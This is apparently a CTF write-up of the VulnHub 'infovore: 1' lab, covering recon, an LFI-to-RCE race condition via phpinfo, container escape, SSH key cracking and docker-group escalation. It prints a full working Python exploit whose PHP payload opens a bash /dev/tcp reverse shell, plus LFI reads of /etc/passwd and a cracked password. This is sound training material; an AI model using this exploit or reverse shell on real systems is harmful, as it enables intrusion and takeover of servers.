VulnHub - infovore: 1
Introduction
This writeup documents the penetration testing of the infovore: 1 machine. This machine has been downloaded from the VulnHub platform. In this machine we’ll exploit some php functions and lazy sys admins as the description says.
Recon
Enumeration of exposed services
Firstly, we need to discover the IP of the infovore machine. We will use arp-scan.

I use the settarget function to set the target IP in the Polybar, so that we can see in any moment DarkHole’s IP.
Normally:
- TTL 64: Linux machine
- TTL 128 Windows machine. We can also use whichSystem.
In this case it appears to be a Linux machine. Now we will perform a port scan.

extractPorts reads the grepable export file allPorts, shows me the open ports and copy them in the clipboard.
Let’s perform a deeper scan using basic recon nmap scripts to see more information about the port 80.

After performing this second scan we can see that we are facing an Apache web server running on a Debian machine. We can also see a title “Include me …“.
Let’s figure out the Debian version codename. We need to search in the internet the Apache version followed by ‘launchpad’.
We are facing a Debian Buster.

Web enumeration
Once the OS and exposed services have been enumerated it’s time to enumerate the web server.



It’s seems that the page it’s not configurated at all. The links and buttons doesn’t work and we can’t see anything interesting in the source code of the page. However, both Wappalyzer and WhatWeb are indicating that PHP is being used server-side.
Fuzzing and file enumeration
Let’s focus on fuzzing and PHP file enumeration. We’ll brute-force the website to list directories and files.

We find out some directories and PHP files. We see the classic info.php wich is generated by the PHP function phpinfo(). This file exposes all PHP configurations.

Exploitation
Identification and exploitation of vulnerabilities
In php.info you can search any directives to abuse them.
- disable_functions - no disable functions, so we can use system, shell_exec, exec, to exeute commands.
- file_uploads - we can upload files.
In the following link you can find information about this abuse: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.html
I’ll focus on the LFI one. Firstly, we need a LFI vuln. I will use Burp Suite to send a POST request in order to force the upload of a PHP file. If I could find any way to force the server to interpretate my code (wich is a Reverse Shell) I could get into the server.

wfuzz detected the parameter filename.

With the filename parameter we can see the content of /etc/passwd. However, we can’t reach any files we upload through the POST request.
Actually, the server is erasing the file at the moment we upload the file in question (it’s a temporary resource: /tmp). So, we may have to consider a Race-Condition. To perform it, I’ll download the following script: https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/Files/phpinfolfi.py
I’m going to change some important variables. The final script was:
#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
# from builtins import range
from __future__ import print_function
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.139/443 0>&1'");?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
if i == -1:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print("\nGot it! Shell created in /tmp/g")
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print("found %s at %i" % (d[i:i+10],i))
# padded up a bit
return i+256
def main():
print("LFI With PHPInfo()")
print("-=" * 30)
if len(sys.argv) < 2:
print("Usage: %s host [port] [threads]" % sys.argv[0])
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("Error with hostname %s: %s" % (sys.argv[1], e))
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError as e:
print("Error with port %d: %s" % (sys.argv[2], e))
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError as e:
print("Error with poolsz %d: %s" % (sys.argv[3], e))
sys.exit(1)
print("Getting initial offset...", end=' ')
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print("Spawning worker pool (%d)..." % poolsz)
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print()
if e.is_set():
print("Woot! \m/")
else:
print(":(")
except KeyboardInterrupt:
print("\nTelling threads to shutdown...")
e.set()
print("Shuttin' down...")
for t in tp:
t.join()
if __name__=="__main__":
print("Don't forget to modify the LFI URL")
main()
Basically, it will try to upload a file and point it many times until the file’s code is interpretated.

Post-Exploitation
tty treatment
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 185
If we run the command hostname -I we will notice that we are not in the real machine, we are in a container.
Escaping the container
- We have no file /var/run/docker.sock, docker it’s not installed.
- capsh it’s not installed.
- No users directories in /home and no users with a shell (only root and we can’t access it)
- No PHP files in /var/www/html with the string “password”
- No files in the hole container with the string “config”
To recon the container we will use the utility linPEAS. If we run linPEAS we’ll see the section “Unexpected in root” with the file .oldkeys.tgz that contains a public SSH key and a private SSH key. In this point, we’ll try to break the private SSH key.

ssh2john has converted the key into a hash. We’ll try to crack the hash with john using the rockyou.txt dictionary.
root’s password is choclate93.

But remember, we need to scape the container.

In the directory /root/.ssh we see a public key file wich shows that the user admin can connect to 192.168.150.1, there’s “trust” between them.

We’ll try to connect to 192.168.150.1 using the user admin and the same password as root.
We can! There’s a passord reuse.

admin is in the docker group. In this case I can create a container that mounts all the filesystem (even the root directory) into my container filesystem so I can access all directories and files.

